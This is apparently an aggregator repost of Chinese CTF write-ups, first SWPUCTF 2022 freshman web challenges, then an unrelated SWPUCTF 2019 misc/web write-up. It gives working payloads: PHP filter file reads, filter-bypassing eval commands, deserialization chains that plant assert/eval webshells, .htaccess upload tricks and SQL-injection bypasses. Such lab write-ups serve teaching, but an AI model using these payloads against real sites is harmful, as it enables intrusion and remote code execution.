SWPUCTF 2022新生赛 web部分wp

Posted YAy17

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SWPUCTF 2022新生赛 web部分wp相关的知识,希望对你有一定的参考价值。

😋大家好,我是YAy_17,是一枚爱好网安的小白。 

本人水平有限,欢迎各位大佬指点,一起学习💗,一起进步⭐️。

⭐️此后如竟没有炬火,我便是唯一的光。⭐️

目录

[SWPUCTF 2022 新生赛]ez_ez_php

[SWPUCTF 2022 新生赛]ez_rce

[SWPUCTF 2022 新生赛]numgame

[SWPUCTF 2022 新生赛]奇妙的MD5

[SWPUCTF 2022 新生赛]xff

[SWPUCTF 2022 新生赛]webdog1__start

[SWPUCTF 2022 新生赛]1z_unserialize

[SWPUCTF 2022 新生赛]ez_ez_unserialize

[SWPUCTF 2022 新生赛]Ez_upload

[SWPUCTF 2022 新生赛]js_sign

[SWPUCTF 2022 新生赛]ez_sql

[SWPUCTF 2022 新生赛]funny_web

[SWPUCTF 2022 新生赛]ez_1zpop

[SWPUCTF 2022 新生赛]file_master


[SWPUCTF 2022 新生赛]ez_ez_php

substr()函数:substr(string,start,length)

substr() 函数返回字符串的一部分。

注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。

?file=php://filter/read=convert.base64-encode/resource=flag.php

根据回显内容进行base64解码,发现真正的flag在/flag,修改payload即可,将回显内容进行base64解码;得到flag;

[SWPUCTF 2022 新生赛]ez_rce

源码什么都没有,抓个包看一下:发现还是什么都没有;robots.txt文件看一下吧:

访问目标文件:发现

拿工具测试一下就好:

查找flag位置的时候,在根目录下面并没有发现flag,而是在/nss/ctf/flag/flag中:

[SWPUCTF 2022 新生赛]numgame

发现还是看不了源代码,还是抓包看看什么回显:在相应包中发现了js文件:

访问一下看看,文件名有点东西:

在文件内容的最后,发现base64编码的类似flag的东西,base64解码:

首先看到的就是在正则过滤中,没有过滤大小写,因此我们可以通过大写来绕过;其次就是类名加上“::”再加上函数名来访问类中的函数;

http://xxxxx/NsScTf.php?p=Nss2::Ctf //这里要先写Nss::Ctf 回显提示我们类名是Nss2

[SWPUCTF 2022 新生赛]奇妙的MD5

结合题目是有关于md5的,同时界面提示我们:

ffif...?ffifdyop MD5后=='or'6...填上试试先:

过了,看看源码,发现存在着注释:

数组绕过即可;

继续数组绕过即可;

[SWPUCTF 2022 新生赛]xff

抓包修改一下数据包的字段:

[SWPUCTF 2022 新生赛]webdog1__start

源码看一下,抓包再看一下:

这里是传递一个参数为web,web的值经过md5加密之后还是等于(弱类型)web的原值:(0e215962017这个值加密之后还是0e开头)

出现了很多的链接,但是除了第一个链接之外,其他的都404,但是第一个链接打开之后只是一篇文章而已,也不是flag所在的地方啊;抓包看看再:

发现相应包中出现了提示:顺着提示往下做:

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET['get']))
    $get=$_GET['get'];
    if(!strstr($get," "))
        $get = str_ireplace("flag", " ", $get);
        
        if (strlen($get)>18)
            die("This is too long.");
            
            else
                eval($get);
           
    else 
        die("nonono"); 
    

?> 

strstr()函数:匹配空格是否在变量get中

str_ireplace("flag", " ", $get);将变量中的flag替换为空格;

所以system("ls%09/");空格用%09替换;system("cat%09/f*");

[SWPUCTF 2022 新生赛]1z_unserialize

<?php

class lyh
     public $url = 'NSSCTF.com';
     public $lt;
     public $lly;
     function __destruct()
         $a = $this->lt;
         $a($this->lly);
     


unserialize($_POST['nss']);
highlight_file(__FILE__);
?>

看到这里存在着$a($this->lly);便能想到eval($_POST[_]);但是本题目是php5的环境,在此环境下eval不是函数而是一种语法结构;这里我让 public $lt = 'assert'; public $lly = 'eval($_POST[x]);';再进行序列化便可以得到目的:

[SWPUCTF 2022 新生赛]ez_ez_unserialize

 <?php
class X

    public $x = __FILE__;
    function __construct($x)
    
        $this->x = $x;
    
    function __wakeup()
    
        if ($this->x !== __FILE__) 
            $this->x = __FILE__;
        
    
    function __destruct()
    
        highlight_file($this->x);
        //flag is in fllllllag.php
    

if (isset($_REQUEST['x'])) 
    @unserialize($_REQUEST['x']);
 else 
    highlight_file(__FILE__);

考察wakeup函数的绕过:只要序列化的中的成员数大于实际成员数,即可绕过

<?php
class X
    public $x ;
    function __construct($x)
    
        $this->x = $x;
    
    function __wakeup()
    
        if($this->x !== __FILE__)
            $this->x = __FILE__;
        
    
    function __destruct()
    
        highlight_file($this->x);
        //flag is in fllllllag.php
    

echo serialize(new X("fllllllag.php"));
O:1:"X":1:s:1:"x";s:13:"fllllllag.php";
修改为O:1:"X":2:s:1:"x";s:13:"fllllllag.php";即可绕过wakeup函数;

[SWPUCTF 2022 新生赛]Ez_upload

该题目在上传文件的时候,发现需要更改MIME类型为:image/jpeg才行,其他都不行,同时文件名的后缀中不允许带有ph;那么就不能上传php3、pht等;尝试.htaccess文件的上传,发现上传成功;思路就有了,先上传.htaccess文件,再将图片马上传,将图片马解析为php即可;

flag在phpinfo中;

 <?php
    session_start();
    highlight_file(__FILE__);
    if(isset($_GET['num']))
        if(strlen($_GET['num'])<=3&&$_GET['num']>999999999)
            echo ":D";
            $_SESSION['L1'] = 1;
        else
            echo ":C";
        
    
    if(isset($_GET['str']))
        $str = preg_replace('/NSSCTF/',"",$_GET['str']);
        if($str === "NSSCTF")
            echo "wow";
            $_SESSION['L2'] = 1;
        else
            echo $str;
        
    
    if(isset($_POST['md5_1'])&&isset($_POST['md5_2']))
        if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2']))
            echo "Nice!";
            if(isset($_POST['md5_1'])&&isset($_POST['md5_2']))
                if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2']))
                    echo "yoxi!";
                    $_SESSION['L3'] = 1;
                else
                    echo "X(";
                
            
        else
            echo "G";
            echo $_POST['md5_1']."\\n".$_POST['md5_2'];
        
    
    if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3']))
        include('flag.php');
        echo $flag;
    
?>

L1 L2 L3全部存在,即可输出flag;三个条件:

  1. GET方式传递参数num,num的长度不超过3并且num的值必须大于999999999,可以用科学计数法9e9;
  2. GET方式传递参数str,str的值会经过preg_replace()函数,将NSSCTF替换为空,可以参数双写绕过;
  3. md5弱类型绕过即可

[SWPUCTF 2022 新生赛]js_sign

发现无论是输入什么都是弹窗fuck off!! 查看网页源代码:

发现在当前目录下,存在着main.js文件,访问该文件:

btoa()函数是js中的base64编码方法,等号后面便是一串经过base64编码的字符串,我们将其解码看下结果:

发现是敲击码;寻找在线解码平台将flag的值进行解码,提供如下的解码平台:

Tap Code - 许愿星

解码后的结果为:

最终的结果是NSSCTFyoufindflagbytapcode

[SWPUCTF 2022 新生赛]ez_sql

相对安全的方式传参->POST;参数为nss;

POST方式传递参数值为1试试:

判断sql注入的类型:

字符型注入:接下来在判断列数的时候,发现过滤了空格和or,空格用/**/替换,or双写绕过即可;

同时发现union也被过滤,同样还是使用双写便可以绕过:

接下来就是查数据库,表名、列名、flag:

最终发现flag在secret中:

[SWPUCTF 2022 新生赛]funny_web

用户名是NSS;接下来又提示密码是招新群某个人的qq账号;

成功登录之后:

intval()函数:用于获取变量的整数值;所以我们可以传参一个小数如12345.5即可

[SWPUCTF 2022 新生赛]ez_1zpop

<?php
error_reporting(0);
class dxg
     function fmm()
        return "nonono";
     

class lt
     public $impo='hi';
     public $md51='weclome';
     public $md52='to NSS';
     function __construct()
        $this->impo = new dxg;
     
     function __wakeup()
     $this->impo = new dxg;
     return $this->impo->fmm();
     

     function __toString()
        if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
            return $this->impo->fmm();
     
     function __destruct()
        echo $this;
     

class fin
     public $a;
     public $url =  'https://www.ctfer.vip';
     public $title;
     function fmm()
        $b = $this->a;
        $b($this->title);
     

if(isset($_GET['NSS'])) 
    $Data  =  unserialize($_GET['NSS']);
else
     highlight_file(__file__);
  1. GET方式传递参数NSS,反序列化NSS
  2. 在类fin中存在着fmm方法,该方法可以执行任意命令;
  3. 类lt中,存在魔术方法tostring,该方法时可以执行fmm方法的;但是需要满足md5弱类型检测;同时变量impo的值需要是fin类;
  4. 因此我们还要让impo变量的值为fin类,同时需要绕过wakeup函数;
$a = new lt();
$a->impo=new fin();
$a->md51='s878926199a';
$a->md52='s155964671a';
$a->impo->a='assert';
$a->impo->title='eval($_POST[x]);';
echo serialize($a);

[SWPUCTF 2022 新生赛]file_master

自己没学明白,在做这个题目的时候,忽然想到了phar反序列化???并不是反序列化的题目;

上传文件的时候,发现之后上传jpeg :

那么就上传“jpeg”文件吧:

提示文件头无效!加上GIF89a:

提示图像的宽和高必须小于20:

#去掉文件头GIF89a
加上下面两句:
#define height 1
#define width 1

发现就可以上传成功了,接下来写一句话木马上传:

发现被检测了,去掉php就没事,那就证明可能是正则匹配了php,改用短标签:

上传成功,到这里就已经打通了(根目录下面存在flag):

上传成功直接访问对应上传的路径即可!

SWPUCTF 2019总结以及部分WP

  本次SWPUCTF开赛了,一共做了5个misc+2个web,RE和Android没时间看= =,pwn完全不会,果然又是和去年一样划水。题目都出的很不错,做题的时候思路其实也容易想到,剩下几个web有思路但是最后还是没有做出来。

  简单写个WP吧。

  本次比赛的部分文件我已保存上传至xxx。懒得上传,需要的话找我拿吧。

一、MISC

神奇的二维码

  下载之后是一个二维码,直接扫描后是一个fakeflag,直接binwalk先扫描一波

技术图片

 

可以发现里面有几个rar,将其分离出来,其中两个rar解出来都是没有东西的,只有最后那个flag.doc下面的一大串字符,用base64解密发现可以转换。

技术图片

 

 那么就写一个简单的Py脚本吧= =,当然也可以手动一直转换。

技术图片
import base64

with open(./1.txt) as f:
    s = f.readlines()[0].strip()
    try:
        while True:
            s = base64.b64decode(s)
    except:
        print(s)
View Code

技术图片

 

 然后加上swpuctf{}提交就可以了。这道题就算是签到题吧。

 

漂流的马里奥

  打开直接运行会在所在目录生成一个1.txt,内容如下

技术图片

 

 还是继续使用binwalk分离内部文件,其下面有个50000.rar,打开后发现也就是1.txt的压缩包,我们使用010 editor查看一下16进制源码

技术图片

 

 发现其比普通的rar文件多了CTM部分和STM部分,搜索一下发现CMT就是压缩包的注释部分,那么STM是什么呢,同样我还发现STM部分包含flag.txt这肯定就是隐藏的flagle,在google上搜索RAR STM相关关键字后我找到了这样一篇博文,大概就满足我们所说的隐藏信息。

技术图片

再继续搜索相关NTFS流的资料后我找到了获取这个数据流的方法。如下,更多关于NTFS流的信息可以自行再搜索相关资料。

技术图片

 

 

伟大的侦探

  从这个标题就知道和福尔摩斯相关,打开密码.txt后如下

技术图片

 

 根据提示编码错误,我们使用010 editor转换编码,最后发现密码如下

技术图片

 

 然后misc文件夹下的内容如下

技术图片

 

 果然还是和福尔摩斯有关的,这也就是归来记中的跳舞的小人,但是这只是简单的按照书中的码表进行转换,和其真正的解密方法(根据出现频率解密)不相同,最后对照网上的码表得到flag

swpuctf{iloveholmesandwllm}。

 

你有没有好好看网课

打开有flag2.rar,和flag3.rar,都有加密,经检测不是伪加密,那就爆破吧,flag3是可以被爆破的,然后里面就是我们人见人爱的影流之主了,flag.doc内容如下,

技术图片

 

 根据题目的提示,我们去看一下这些数字的帧数。

技术图片

 

 技术图片

 

 这两帧的灯位置都有隐藏信息,提取出来如下

..... ../... ./... ./... ../
dXBfdXBfdXA=

第二行直接可以base64解密,第一行最开始猜测是莫斯加密,可是对不上莫斯的码表,最后一个个尝试之后发现其是敲击码,得到密码

wllmup_up_up,用这个密码可以打开flag2.rar。然后010 editor打开就可以发现在末尾的flag了。

技术图片

 

 

Network

下载后发现里面只有一个txt文档,而且里面只有四个数字

技术图片

 

 这道题比较误导人的地方就是,它的标题叫做Network,刚好这四个数字又对应了四个网关地址,于是方向错误,最后对比其二进制才发现端倪,这四个数字转成8位二进制后,只有最高两位二进制不同,我们尝试写一个脚本将其最高两位提取出来,并且4个一组转换位ASCII。发现写出来的16进制数开头是50 4B,应该也就是zip了,脚本如下

技术图片
fp = open(t.txt,r)
a = fp.readlines()
p = []
for i in a:
    p.append(int(i))
s = ‘‘
for i in p:
    if i == 63:
        a = 00
    elif i == 127:
        a = 01
    elif i == 191:
        a = 10
    elif i == 255:
        a = 11
    s += a

import binascii
flag = ‘‘
for i in range(0,len(s),8):
    flag += chr(int(s[i:i+8],2))
flag = binascii.unhexlify(flag)
wp = open(ans.zip,wb)
wp.write(flag)
wp.close()
View Code

 

打开后发现需要密码,010查看发现全局加密和局部加密位不一,也就是伪加密了,改09 为 00后打开

技术图片

然后又是一大串的字符,不说了上base64,解密得到flag

flag{189ff9e5b743ae95f940a6ccc6dbd9ab}

 

easy_web

打开如下,一个登陆注册界面,随意注册个账号。

技术图片

 

 可以发现可以申请广告。

技术图片

 

 然后发现其是可以实现XSS的,但是这题管理员并不上线,所以XSS没有什么用

技术图片

 

 后面经过了一些测试发现之后,广告详情的SQL是通过广告名进行搜索的,所以这里可能实现二次注入,猜测SQL为(做完题后再猜测的)

  

select xx from xxx where title=xxx limit 0,1

然后尝试之后发现过滤了or,sql,join,空格,#,-等一些字符,期间最头疼的就是过滤了or,那么order和information_schema都不能使用了,查询字段我们还可以用union select,但是咋查表呢,最后我是自己手动猜出来的,数据库为web1,下面有users表,里面有name和pass字段,admin的pass就是最后的flag,构造如下广告

技术图片

 

 没错,有22列,然后点击广告详情就可以得到flag的md5了,根据题目说明使用somd5解密即可得到flag

技术图片

 

 这题的很多细节,比如查列数以及如何构造sql就不再说了,这里就只讲一下最后的payload实现。

 

简单的Python

比赛结束了 = =题目下线了,没法复现了。

emmm这题不知道是不是出题人失误啊,猜了个redis密码为password竟然直接连接上了。

然后就用了一波别人的session获得了flag...

技术图片

 

 

技术图片

 

 技术图片

 

 


 

 

WEB3弄出了secretkey了,下一步应该是个ssti了,但是周六周天都有事= =没有做了。

以上是关于SWPUCTF 2022新生赛 web部分wp的主要内容,如果未能解决你的问题,请参考以下文章

SWPUCTF 2019总结以及部分WP

2022 SWPU新生赛&HNCTF web部分题目

[杭电新生赛]HGAME-week1-web-wp

记一次新生赛BJDCTF(WP)

[CTF从0到1学习] BUUCTF WEB部分 wp(待完善)

[CTF从0到1学习] BUUCTF WEB部分 wp(待完善)